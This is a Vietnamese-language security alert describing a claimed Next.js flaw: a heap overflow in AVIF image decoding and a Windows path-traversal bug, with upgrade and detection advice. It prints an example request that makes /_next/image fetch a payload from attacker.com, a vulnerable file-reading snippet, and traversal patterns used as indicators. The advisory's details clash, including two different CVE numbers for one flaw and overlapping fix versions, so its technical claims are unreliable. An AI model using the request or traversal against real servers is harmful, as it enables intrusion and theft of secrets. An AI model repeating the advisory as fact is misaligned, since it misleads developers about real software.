CẢNH BÁO BẢO MẬT KHẨN CẤP:

Vercel vừa phát hành bản vá bảo mật khẩn cấp cho Next.js khắc phục lỗ hổng tràn bộ đệm heap trong thư viện giải mã hình ảnh AVIF (CVE-2026-31802, CVSS 9.8) cho phép tin tặc thực thi mã từ xa không cần xác thực qua endpoint /_next/image.

Bảng Thuộc Tính Kỹ Thuật:

Mã Lỗ HổngCVE-2026-31802 / CVE-2025-55182
Điểm Đánh Giá9.8 CRITICAL (CVSS v3.1)
Thành Phần Ảnh HưởngNext.js Image Optimizer (libavif binding) & Windows Path Resolver
Phiên Bản Khắc PhụcNext.js 14.2.25+, Next.js 15.1.8+, Next.js 15.2.0+
Mức Độ Khai ThácPre-Auth RCE từ xa qua HTTP GET request

1. Cơ Chế Xử Lý Ảnh Trong Next.js Và Bản Chất Lỗ Hổng

Module next/image tự động tối ưu định dạng ảnh dựa trên header Accept của trình duyệt người dùng. Khi máy chủ nhận yêu cầu chuyển đổi định dạng ảnh sang chuẩn AVIF thế hệ mới, luồng dữ liệu nhị phân được chuyển tiếp trực tiếp vào C-binding của bộ giải mã AVIF.

Lỗ hổng phát sinh khi xử lý các trường kích thước khung hình (Spatial Resolution Chunk) bị cố tình làm sai lệch trong file AVIF. Bộ giải mã tính toán sai dung lượng bộ nhớ heap cần cấp phát, dẫn đến ghi đè con trỏ hàm (Function Pointer Overwrite) trên Node.js runtime process.

GET /_next/image?url=https%3A%2F%2Fattacker.com%2Fpayload.avif&w=1080&q=75 HTTP/1.1
Host: target-nextjs-app.com
Accept: image/avif,image/webp,*/*
User-Agent: Mozilla/5.0 (Exploit-PoC-Scanner)

2. Phân Tích Kỹ Thuật & Vector Tấn Công Windows Path Traversal

Song song với lỗ hổng tràn heap trên AVIF, phiên bản chạy trên Windows còn tồn tại lỗi chuẩn hóa đường dẫn (Path Normalization Bug). Ký tự dấu gạch chéo ngược \ trong tham số url không được kiểm tra nghiêm ngặt khi kết hợp với cấu hình localPatterns:

// Luồng xử lý bị lỗi trong image-optimizer.ts (phiên bản cũ)
const isLocal = localPatterns.some(pattern => matchLocalPattern(pattern, requestUrl));
if (isLocal) {
  // Lỗi: Ký tự Windows path separator bypass kiểm tra traversal
  const resolvedPath = path.normalize(path.join(process.cwd(), requestUrl));
  return fs.createReadStream(resolvedPath);
}

Bằng cách khai thác chuỗi traversal này, kẻ tấn công có thể đọc nội dung file cấu hình nhạy cảm .env.production chứa API Keys, Database Credentials và Private Signing Keys của hệ thống.

3. Dấu Hiệu Nhận Diện Hệ Thống Bị Tấn Công (IOC)

  • Xuất hiện số lượng lớn request tới /_next/image với tham số url trỏ tới các external domain lạ hoặc chứa chuỗi nhị phân không hợp lệ.
  • Node.js process bị crash liên tục kèm mã lỗi SIGSEGV (Segmentation Fault) trong thư viện next-server.
  • File log máy chủ ghi nhận các chuỗi request chứa ..%5c hoặc ..\ trong URL chuyển đổi hình ảnh.

4. Hướng Dẫn Nâng Cấp & Phòng Thủ Khẩn Cấp

Doanh nghiệp và đội ngũ phát triển ứng dụng cần thực hiện ngay các bước khắc phục:

# Nâng cấp Next.js lên phiên bản an toàn mới nhất
npm install next@latest
# Hoặc với yarn / pnpm
yarn add next@latest
pnpm update next

Trong trường hợp chưa thể triển khai cập nhật mã nguồn ngay lập tức, hãy cấu hình vô hiệu hóa định dạng AVIF trong file next.config.js hoặc thiết lập WAF chặn request /_next/image từ các nguồn chưa xác thực.